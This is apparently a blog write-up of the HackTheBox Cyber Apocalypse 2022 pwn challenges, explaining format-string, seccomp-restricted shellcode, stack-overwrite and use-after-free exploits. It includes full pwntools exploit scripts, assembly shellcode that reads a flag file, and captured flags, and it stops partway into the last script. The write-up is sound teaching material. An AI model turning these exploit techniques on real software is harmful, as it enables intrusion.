Hi everyone! This article is on HackTheBox’s Cyber Apocalypse CTF 2022 on pwn only. The event lasted from 14/5/2022 – 19/5/2022. Let’s get started!
1. Challenges
- Space Pirate: Entrypoint
- Format string attack on x64 ELF file to overwrite a stack variable’s value.
- Space pirate: Going Deeper
- Understanding on
strncmp()
terminating condition.
- Understanding on
- Fleet Management
- Shellcoding with seccomp restriction using only
sys_openat
andsys_sendfile
.
- Shellcoding with seccomp restriction using only
- Hellbound
- Exploit linked list traversal, ability to write to heap memory, and leaked stack address to overwrite return address for ret2win.
- Trick or Deal
- Use-after-free vulnerability to bypass ASLR by leaking an address and also jump to win function.
- Vault-breaker
- Exploiting a NULL terminator in
strcpy()
to NULL a stored key that will be used to XOR the flag later.
- Exploiting a NULL terminator in
2. Space Pirate: Entrypoint

2.1 Files provided
- pwn_sp_entrypoint.zip
- x64 ELF binary
- glibc files
- flag.txt
2.2 Overview
In main()
, we can see if we choose option 1, there is a format string vulnerability.

If we choose option 2, we go to check_pass()
. However, there is no vulnerability here.

If we manage to access open_door()
via option 1 or 2, the flag will be printed for us.

2.3 Study the format string vulnerability
If we look at main()
where the format string vulnerability is at, we can see that to go to open_door()
, there is a condition where it compares the value in v5[0]
with 3735884599 (0xDEAD1337). The original value of v5[0]
is 3735928559 (0xDEADBEEF). Since v5[1]
contains the address of v5[0]
, we can use format string vulnerability to overwrite content in v5[0]
.
By running the program, we can see that v5[0]
is at offset 6 while v5[1]
is at offset 7.

We can also use GDB to provide v5[1]
contains address of v5[0]
.
Breakpoint 1, 0x0000555555400d9a in main () (gdb) x/50wx $rsp 0x7fffffffdf20: 0xdead0005 0x00000000 0xffffdf20 0x00007fff 0x7fffffffdf30: 0x25633525 0x6e682437 0x0000000a 0x00000000 0x7fffffffdf40: 0x55400e20 0x00005555 0x55400940 0x00005555 0x7fffffffdf50: 0xffffe040 0x00007fff 0x64bd6f00 0x1fb138ae 0x7fffffffdf60: 0x55400e20 0x00005555 0xf7a03c87 0x00007fff 0x7fffffffdf70: 0x00000001 0x00000000 0xffffe048 0x00007fff 0x7fffffffdf80: 0x00008000 0x00000001 0x55400cf6 0x00005555 0x7fffffffdf90: 0x00000000 0x00000000 0x2f959013 0xd2691425 0x7fffffffdfa0: 0x55400940 0x00005555 0xffffe040 0x00007fff 0x7fffffffdfb0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffdfc0: 0x8d359013 0x873c415a 0x4bab9013 0x873c51e5 0x7fffffffdfd0: 0x00000000 0x00007fff 0x00000000 0x00000000 0x7fffffffdfe0: 0x00000000 0x00000000 (gdb)
Therefore, we just need to overwrite the first 2 bytes of v5[0]
via %7$h with the value 0x1337 (4919). This will allow us to pass the condition test later.
2.4 Get flag
kali@kali~$ nc 167.71.137.43 31815 Authentication System ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▒▒▓▓▓▒▒▒▒▒▓▓▒░▒▓▓▓░░▓▓▓▓▓ ░ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▒▒▓▓▓▒▒▒▒▒▓▓░░░▓▓▓▒░▓▓▓▓▓ ░ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒▒▒▒▓▓░░░▓▓▓░░▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒▒▒░▓▓░░░▓▓▓░░▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒▒▒▒▓▓▒░░▓▓▓░░▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒▒▒░▓▓░░░▓▓▓░ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒▒▒▒▓▓░░░▓▓▒░░▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒░░░▓▓░░░▓▓▒░ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒░░░▒▓▓░░░▓▓▒ ░▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓░░░░░▓▓░░░▓▓▓ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒░▓▓▓▒░░░░▓▓▒ ▓▓▒ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓░▒░░░▓▓░ ▓▓▒ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▓▓▓░▒▓▓▓░░░░░▓▓░ ▓▓▒ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▒░▓▓▓░░░░ ▓▓ ▓▓▒ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ 1. Scan card 💳 2. Insert password ↪ > 1 [!] Scanning card.. Something is wrong! Insert card's serial number: %4919c%7$hn Your card is: � [+] Door opened, you can proceed with the passphrase: HTB{th3_g4t35_4r3_0p3n!}
3. Space pirate: Going Deeper

3.1 Files provided
- pwn_sp_going_deeper.zip
- x64 ELF binary
- glibc files
- flag.txt
3.2 Overview
We can see that as long as we choose option 1 or 2, it is the same. Input will be prompted where we can write up to a maximum of 0x39 bytes of characters to the buf
variable. The buf
variable will be compared to a 0x34 length string. Therefore, we just need to supply the same string as input.

However, the tricky thing is since read()
is used, NULL string terminator, b’\x00′, will not be included and a new line character, ‘\n’, will be included. strncmp()
will compare strings until the NULL string terminator. Hence we will have to include b’\x00′ in our input. In pwntools, we will use sendafter()
instead to not include ‘\n’. Otherwise, it will be used as part of the comparison.
3.3 Craft exploit and get the flag
Below shows sp_going_deeper_exploit.py:
from pwn import *
r = remote("157.245.46.136", 30609)
r.sendlineafter(b'>> ', b'1')
r.sendafter(b'[*] Input: ', b'DRAEGER15th30n34nd0nly4dm1n15tr4t0R0fth15sp4c3cr4ft\x00')
r.interactive()
kali@kali~$ python3 sp_going_deeper_exploit.py [+] Opening connection to 157.245.46.136 on port 30609: Done [*] Switching to interactive mode [+] Welcome admin! The secret message is: HTB{n0_n33d_2_ch4ng3_m3ch5_wh3n_u_h4v3_fl0w_r3d1r3ct} [!] For security reasons, you are logged out.. [*] Got EOF while reading in interactive $
4. Fleet Management

4.1 Files provided
- pwn_fleet_management.zip
- x64 ELF binary
4.2 Overview
There is nothing interesting in main()
. It will go to menu()
eventually.

In menu()
, we can see there is an interesting choice/case which is value 9 which is not part of the printed to console choices shown in the menu. Inputting that will go to beta_feature()
.
void __noreturn menu()
{
char s[3]; // [rsp+5h] [rbp-Bh] BYREF
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
memset(s, 0, sizeof(s));
while ( 1 )
{
fwrite("\n-_-_-_-_-_-_-_-_-_-_-_-_-\n", 1uLL, 0x1BuLL, _bss_start);
fwrite("| |\n", 1uLL, 0x1BuLL, _bss_start);
fwrite("| [1] View the Fleet |\n", 1uLL, 0x1BuLL, _bss_start);
fwrite("| [2] Control Panel |\n", 1uLL, 0x1BuLL, _bss_start);
fwrite("| [3] User Settings |\n", 1uLL, 0x1BuLL, _bss_start);
fwrite("| [4] Exit |\n", 1uLL, 0x1BuLL, _bss_start);
fwrite("| |\n", 1uLL, 0x1BuLL, _bss_start);
fwrite("-_-_-_-_-_-_-_-_-_-_-_-_-\n", 1uLL, 0x1AuLL, _bss_start);
fwrite("\n[*] What do you want to do? ", 1uLL, 0x1DuLL, _bss_start);
read(0, s, 2uLL);
switch ( s[0] )
{
case '1':
fprintf(_bss_start, "\n%s[*] Connecting to the Encrypted channel . . .\n%s", "\x1B[1;32m", "\x1B[1;36m");
sleep(1u);
fprintf(_bss_start, "\n%s[*] Fetching Data . . .\n%s", "\x1B[1;32m", "\x1B[1;36m");
sleep(1u);
fwrite("\n=============================\n", 1uLL, 0x1FuLL, _bss_start);
fprintf(
_bss_start,
"| %s PDS Thanatos - %s[%sActive%s]%s |\n",
"\x1B[1;37m",
"\x1B[1;30m",
"\x1B[1;32m",
"\x1B[1;30m",
"\x1B[1;36m");
fprintf(
_bss_start,
"| %s CS Meteor - %s[%sActive%s]%s |\n",
"\x1B[1;37m",
"\x1B[1;30m",
"\x1B[1;32m",
"\x1B[1;30m",
"\x1B[1;36m");
fprintf(
_bss_start,
"| %s LWS Proximo - %s[%sActive%s]%s |\n",
"\x1B[1;37m",
"\x1B[1;30m",
"\x1B[1;32m",
"\x1B[1;30m",
"\x1B[1;36m");
fprintf(
_bss_start,
"| %s STS Goliath - %s[%sInactive%s]%s|\n",
"\x1B[1;37m",
"\x1B[1;30m",
"\x1B[1;91m",
"\x1B[1;30m",
"\x1B[1;36m");
fwrite("=============================\n", 1uLL, 0x1EuLL, _bss_start);
fwrite("\nKey:\n", 1uLL, 6uLL, _bss_start);
fprintf(_bss_start, "%sPDS: Planet Destroyer Ship\n", "\x1B[1;37m");
fwrite("CS: Combat Spaceship\n", 1uLL, 0x15uLL, _bss_start);
fwrite("LWS: Light Weight Spaceship\n", 1uLL, 0x1CuLL, _bss_start);
fprintf(_bss_start, "STS: Space Transportation Ship%s\n", "\x1B[1;36m");
continue;
case '2':
fprintf(_bss_start, "\n%s[*] Authenticating . . .\n%s", "\x1B[1;32m", "\x1B[1;36m");
sleep(1u);
fprintf(_bss_start, "\n%s[!] Error: You are not member of an authorized group.\n%s", "\x1B[1;91m", "\x1B[1;36m");
continue;
case '3':
fprintf(_bss_start, "\n%s[!] Error: You should authenticate first.\n%s", "\x1B[1;91m", "\x1B[1;36m");
continue;
case '4':
fprintf(_bss_start, "\n[*] Bye! %s\n", "\x1B[1;0m");
exit(0);
case '9':
beta_feature();
goto LABEL_8;
default:
LABEL_8:
fprintf(_bss_start, "\n%s[!] Error: Invalid Option.\n%s", "\x1B[1;91m", "\x1B[1;36m");
break;
}
}
}
In beta_feature()
, we can see that mprotect()
helps to set the buf
variable to be executable. We also can see during returning of beta_feature()
, the buf
‘s content is executed like a function. The buf
‘s content comes from our input. This means we just have to supply a shellcode and the program will execute our shellcode. However, what is interesting is skid_check()
which contains something that makes our challenge harder.

In skid_check()
, we can see that seccomp_intit()
is used. This is followed by a number of seccomp_rule_add() which makes our shellcode challenge harder. If you read the seccomp_rule_add()
documentation, you will see the purpose of each function argument. 2147418112 (0x7fff0000) is actually SCMP_ACT_ALLOW
based on the seccomp’s library here. You can refer to the syscall number here which the syscall number is shown in the RAX column.

So now we know that seccomp makes our life harder by only allowing the following syscalls.
sys_exit sys_exit_group sys_openat sys_sendfile sys_rt_sigreturn
4.3 Creating the shellcode
However, since sys_openat
and sys_sendfile
is available, we can just open the flag file using sys_openat
and read from the flag file in the server + print it to the console using sys_sendfile
. A quick google allowed me to find a similar CTF that has a similar situation here where only sys_openat
and sys_sendfile
is available. We just need to modify the shellcode for our challenge.
Note that when you study the shellcode, the numbers set to each register are based on this. Note that the original author used -100 for sys_openat’s RDI which is AT_FDCWD
for dfd
as shown in this documentation. We can just use a relative path instead since we don’t know the flag’s full path on the server.
Below shows my final shellcode.
xor rdx, rdx ; string terminator for "flag.txt" push rdx mov rsi, 0x7478742E67616C66 ; "flag.txt" in reverse due to little-endian push rsi mov rsi, rsp ; set filename address to stack's address mov rax, 257 ; so that sys_openat will be called later mov rdi, -100 ; set dfd to AT_FDCWD syscall mov rsi, rax ; set fd to openat()'s result which is flag.txt's fd mov rax, 40 ; so that sys_sendfile will be called later mov rdi, 1 ; send file's content to stdout mov r10, 100 ; set content length to read syscall
Note that I didn’t set RDX to 0 before the second syscall as the read()
in beta_feature()
only allows 0x3C bytes. If we have anymore instructions, it will overshoot the limit. Using context.log_level = "debug"
in our exploit, we will see the length of data sent to the server. 0x3D is sent but it is fine because the last byte is b’\n’ added by pwntool’s sendline()
. Since the maximum number of bytes reached, read()
will immediately take in our input without the need for a newline character.
4.4 Craft exploit and get the flag
Below shows my crafted fleet_management_exploit.py.
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
r = remote("138.68.139.197", 31881)
#r = gdb.debug("./fleet_management")
shellcode = """xor rdx, rdx
push rdx
mov rsi, 0x7478742E67616C66
push rsi
mov rsi, rsp
mov rax, 257
mov rdi, -100
syscall
mov rsi, rax
mov rax, 40
mov rdi, 1
mov r10, 100
syscall
"""
assembled = asm(shellcode)
r.sendlineafter(b'[*] What do you want to do? ', b'9')
r.sendline(assembled)
r.interactive()
kali@kali~$ python3 fleet_management_exploit.py [+] Opening connection to 138.68.139.197 on port 31881: Done [DEBUG] cpp -C -nostdinc -undef -P -I/home/kali/.local/lib/python3.9/site-packages/pwnlib/data/includes /dev/stdin [DEBUG] Assembling .section .shellcode,"awx" .global _start .global __start .p2align 2 _start: __start: .intel_syntax noprefix xor rdx, rdx push rdx mov rsi, 0x7478742E67616C66 push rsi mov rsi, rsp mov rax, 257 mov rdi, -100 syscall mov rsi, rax mov rax, 40 mov rdi, 1 mov r10, 100 syscall [DEBUG] /usr/bin/x86_64-linux-gnu-as -64 -o /tmp/pwn-asm-mn76ywdu/step2 /tmp/pwn-asm-mn76ywdu/step1 [DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-mn76ywdu/step3 /tmp/pwn-asm-mn76ywdu/step4 [DEBUG] Received 0x4b bytes: 00000000 f0 9f 9b b0 20 1b 5b 31 3b 33 36 6d 20 46 6c 65 │····│ ·[1│;36m│ Fle│ 00000010 65 74 20 4d 61 6e 61 67 65 6d 65 6e 74 20 53 79 │et M│anag│emen│t Sy│ 00000020 73 74 65 6d 20 f0 9f 93 a1 0a 0a 1b 5b 31 3b 33 │stem│ ···│····│[1;3│ 00000030 32 6d 5b 2a 5d 20 4c 6f 61 64 69 6e 67 20 2e 20 │2m[*│] Lo│adin│g . │ 00000040 2e 20 2e 0a 1b 5b 31 3b 33 36 6d │. .·│·[1;│36m│ 0000004b [DEBUG] Received 0xf4 bytes: b'\n' b'-_-_-_-_-_-_-_-_-_-_-_-_-\n' b'| |\n' b'| [1] View the Fleet |\n' b'| [2] Control Panel |\n' b'| [3] User Settings |\n' b'| [4] Exit |\n' b'| |\n' b'-_-_-_-_-_-_-_-_-_-_-_-_-\n' b'\n' b'[*] What do you want to do? ' [DEBUG] Sent 0x2 bytes: b'9\n' [DEBUG] Sent 0x3d bytes: 00000000 48 31 d2 52 48 be 66 6c 61 67 2e 74 78 74 56 48 │H1·R│H·fl│ag.t│xtVH│ 00000010 89 e6 48 c7 c0 01 01 00 00 48 c7 c7 9c ff ff ff │··H·│····│·H··│····│ 00000020 0f 05 48 89 c6 48 c7 c0 28 00 00 00 48 c7 c7 01 │··H·│·H··│(···│H···│ 00000030 00 00 00 49 c7 c2 64 00 00 00 0f 05 0a │···I│··d·│····│·│ 0000003d [*] Switching to interactive mode [DEBUG] Received 0x1b bytes: b'HTB{backd00r_as_a_f3atur3}\n' HTB{backd00r_as_a_f3atur3} [*] Got EOF while reading in interactive
5. Hellbound

5.1 Files provided
- pwn_hellhound.zip
- x64 ELF binary
- flag.txt
- glibc files
5.2 Overview
In main(), there are 4 options for us to choose.
- Option 1: Print
buf
‘s address on the stack. - Option 2: Write to a heap-based memory of 0x40 bytes in size where which index is 8 bytes. We can write a total of 0x20 bytes (4 indexes) to it.
- Option 3: Linked list traversal based on heap-based memory’s index 1’s value.
- Option 69: Exit the program where
free()
will be called on the heap-based memory stored inbuf[0]
.
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned __int64 num; // rax
void *buf[9]; // [rsp+8h] [rbp-48h] BYREF
buf[8] = (void *)__readfsqword(0x28u);
setup(argc, argv, envp);
banner();
buf[0] = malloc(0x40uLL);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
printf(aInteractionWit);
num = read_num();
if ( num != 2 )
break;
printf("\n[*] Write some code: ");
read(0, buf[0], 0x20uLL);
}
if ( num > 2 )
break;
if ( num != 1 )
goto LABEL_13;
printf("\n[+] In the back of its head you see this serial number: [%ld]\n", buf);
}
if ( num != 3 )
break;
buf[0] = *((void **)buf[0] + 1);
printf("%s\n[-] The beast went Berserk again!\n", "\x1B[1;31m");
}
if ( num == 69 )
break;
LABEL_13:
printf("%s\n\n[-] Invalid option!\n", "\x1B[1;31m");
}
free(buf[0]);
printf("%s[*] The beast seems quiet.. for the moment..\n", "\x1B[1;31m");
return 0;
}
Since we know that buf[0]
contains a heap-based memory in a form of a linked list, we can visualize it as the structure shown below.
struct the_linked_list { int value; void *next; ... } buf[0];
The linked list traversal on option 3 seems to look complex on C so I show the assembly code of it below which is simpler.

As I saw the x64 ELF binary has system() being imported, a quick dereference allowed me to find the win function which is berserk_mode_off()
.

5.3 Security settings
kali@kali~$ ~/.local/bin/pwn checksec ./hellhound [*] '/home/kali/hellhound' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) RUNPATH: b'./.glibc/'
5.4 Exploit the features available
As we get to see the stack address, we can easily use the linked list to overwrite the return address with the address of berserk_mode_off()
which is the win function so that the program jumps to it when exiting.
The exploitation steps in chronological order:
- Leak
buf
‘s stack address via option 1. - Calculate the return address’s location on the stack.
- Set the return address’s location on the stack in
buf[0].next
by option 2. - Go to option 3 to have linked list traversal so that now
buf[0]
contains the return address’s location on the stack.buf[0].value
should contain the original return address valuebuf[0].next
should containconst char **envp
but it doesn’t matter to us.
- Go to option 2 to overwrite the original return address value with the address of
berserk_mode_off()
+ 1 by writing tobuf[0].value
.- We need overwrite
buf[0].next
with a NULL pointer forfree()
later. berserk_mode_off()
needs to +1 for stack alignment so thatpush RBP
instruction inberserk_mode_off()
will not be executed.
- We need overwrite
- Go to option 3 to have linked list traversal so that now
buf[0]
contains the NULL pointer so that later during exiting of the program,free(buf[0])
which isfree(NULL)
won’t have an error. - Go to option 69 to exit the program.
5.5 Craft exploit and get the flag
Below shows my crafted hellhound_exploit.py:
from pwn import *
context.arch = "amd64"
r = remote("178.62.73.26", 31465)
#r = gdb.debug("./hellhound")
elf = ELF("./hellhound")
############## Leak stack's address ##############
r.sendlineafter(b'>> ', b'1')
# to ignore "[+] In the back of its head you see this serial number: ["
r.recvuntil(b'number: [')
# get stack address via getting buf address on stack
stack_addr_of_buf = int(r.recvuntil(b']', drop=True))
log.info("buf address on stack: " + hex(stack_addr_of_buf))
############## Overwrite ret address with berserk_mode_off()+1 ##############
# buf has a size of 0x48. RBP has a size of 0x8
stack_addr_of_ret_addr = stack_addr_of_buf + 0x48 + 0x8
log.info("ret address on stack: " + hex(stack_addr_of_ret_addr))
# to write ret address location on stack at "next" location
value = b'A' * 8
next = p64(stack_addr_of_ret_addr)
payload = value + next
r.sendlineafter(b'>> ', b'2')
r.sendlineafter(b'[*] Write some code: ', payload)
# trigger linked list traversal so buf[0] == ret address location on stack
r.sendlineafter(b'>> ', b'3')
# to overwrite ret address with berserk_mode_off()+1 at "value" location.
# +1 to berserk_mode_off()'s address due to stack alignment
value = p64(elf.symbols['berserk_mode_off']+1)
next = b'\x00\x00\x00\x00\x00\x00\x00\x00'
payload = value + next
r.sendlineafter(b'>> ', b'2')
r.sendlineafter(b'[*] Write some code: ', payload)
# trigger linked list traversal so buf[0] == NULL pointer so that later free(NULL) during exit of main()
r.sendlineafter(b'>> ', b'3')
# exit program to trigger free() to run berserk_mode_off() instead
r.sendlineafter(b'>> ', b'69')
r.interactive()
kali@kali~$ python3 hellhound_exploit.py [+] Opening connection to 178.62.73.26 on port 31465: Done [*] '/home/kali/Desktop/hellhound' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) RUNPATH: b'./.glibc/' [*] buf address on stack: 0x7ffecfe02c38 [*] ret address on stack: 0x7ffecfe02c88 [*] Switching to interactive mode [*] The beast seems quiet.. for the moment.. HTB{1t5_5p1r1t_15_5tr0ng3r_th4n_m0d1f1c4t10n5} [*] Got EOF while reading in interactive $
6. Trick or Deal

6.1 Files provided
- pwn_trick_or_deal.zip
- x64 ELF binary
- glibc files
6.2 Overview
In main()
setting up is done before going to menu()
. Before showing you the content of menu()
, I would like to show you update_weapons()
as contains important information to help us with the exploitation.

In update_weapons()
, we can see storage is a heap-based memory with a size of 0x50 bytes. The first 0x48 bytes (index 0 to 8) store a string regarding what weapons are available. The last 8 bytes which is storage[9]
store the address of printStorage()
.



Below shows the assembly code of update_weapons so that we can see the address of printStorage()
is indeed stored at the 0x48 bytes of storage
which isn’t shown that clearly in the decompiled code.

printStorage()
which is stored in storage[9]
will print what weapons are available.

In menu()
, we can see there are 5 options that will call different functions. Below contains a summary of what each option and function does.
- Option 1: Calls
storage[9]
that contain the address ofprintStorage()
. This means calling callingprintStorage()
. - Option 2: Calls
buy()
. Nothing is useful in this function. - Option 3: Calls
make_offer()
. We can specify the heap memory size we would like to create viamalloc()
and we can write then content to the newly created heap memory based on the size we just stated. - Option 4: Calls
steal()
. Free the heap space whose address is stored instorage
. - Option 5: Exit the program.
void __noreturn menu()
{
char s[3]; // [rsp+Dh] [rbp-3h] BYREF
memset(s, 0, sizeof(s));
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
fwrite("\n-_-_-_-_-_-_-_-_-_-_-_-_-\n", 1uLL, 0x1BuLL, stdout);
fwrite("| |\n", 1uLL, 0x1AuLL, stdout);
fwrite("| [1] See the Weaponry |\n", 1uLL, 0x1AuLL, stdout);
fwrite("| [2] Buy Weapons |\n", 1uLL, 0x1AuLL, stdout);
fwrite("| [3] Make an Offer |\n", 1uLL, 0x1AuLL, stdout);
fwrite("| [4] Try to Steal |\n", 1uLL, 0x1AuLL, stdout);
fwrite("| [5] Leave |\n", 1uLL, 0x1AuLL, stdout);
fwrite("| |\n", 1uLL, 0x1AuLL, stdout);
fwrite("-_-_-_-_-_-_-_-_-_-_-_-_-\n", 1uLL, 0x1AuLL, stdout);
fwrite("\n[*] What do you want to do? ", 1uLL, 0x1DuLL, stdout);
read(0, s, 2uLL);
if ( s[0] != '2' )
break;
buy();
}
if ( s[0] > '2' )
break;
if ( s[0] != '1' )
goto LABEL_13;
(*((void (**)(void))storage + 9))();
}
if ( s[0] == 51 )
{
make_offer();
}
else
{
if ( s[0] != '4' )
{
LABEL_13:
fprintf(stdout, "\n[*] Don't ever come back again! %s\n", "\x1B[1;0m");
exit(0);
}
steal();
}
}
}
I will only show the decompiled code of make_offer()
and steal()
as buy()
isn’t useful.


Looking at the import table, I saw system()
. Quick dereference allows me to find the win function.

6.3 Security settings
kali@kali~$ ~/.local/bin/pwn checksec ./trick_or_deal [*] '/home/kali/Desktop/trick_or_deal' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'./glibc/'
6.4 Vulnerability + Exploitation explanation
As we see from the security setting, we know that ASLR exists for this binary. Thus, we have to leak a function’s address. It took me a while before I realized that we can leak the printStorage()
‘s address. Note that in printStorage()
, storage.weapons
(first 0x48 bytes of storage) is printed. storage.weapons
contains a string that is NULL terminated. Since the program uses %s
, it will print until the NULL terminator. Therefore, we can pad until the storage[9]
so that the address of printStorage()
will be printed.

But to overwrite the weapons string in storage while retaining the address of printStorage()
in storage[9]
, we have to utilize use-after-free. This means that we call choose option 4 in menu()
to free the heap-based memory on storage and create a heap memory of the same size, 0x50 bytes, so that the same chunk will be given to us.
Below shows an example where I manually leaked printStorage()
‘s address.

Once leaked, we can now overwrite storage[9]
with unlock_storage()
and trigger a call to unlock_storage()
while the program thinks it is calling printStorage()
.
Below shows a summary of the exploitation steps in chronological order:
- Leak
printStorage()
‘s address to bypass ASLR- Choose option 4 in
menu()
to freestorage
‘s heap chunk. - Choose option 3 in
menu()
a new heap space of the same size as the originalstorage
‘s chunk to get back the same chunk. - Pad the weapon string in storage until it reaches right before
storage[9]
whereprintStorage()
‘s address is located. - Choose option 1 in
menu()
to printstorage
‘s content where it will print our padding +printStorage()
‘s address. - Calculate the x64 ELF binary ASLR base address.
- Choose option 4 in
- Jump to win function (
unlock_storage()
)- Choose option 4 in
menu()
to freestorage
‘s heap chunk. - Choose option 3 in
menu()
a new heap space of the same size as the originalstorage
‘s chunk to get back the same chunk. - Pad the weapon string in storage until it reaches right before
storage[9]
and writeunlock_storage()
‘s address tostorage[9]
. - Choose option 1 in
menu()
to callunlock_storage()
while the program thinks it is callingprintStorage()
.
- Choose option 4 in
6.5 Craft the exploit + get the flag
Below shows trick_or_deal_exploit.py:
from pwn import *
context.arch = "amd64"
#context.log_level = "debug"
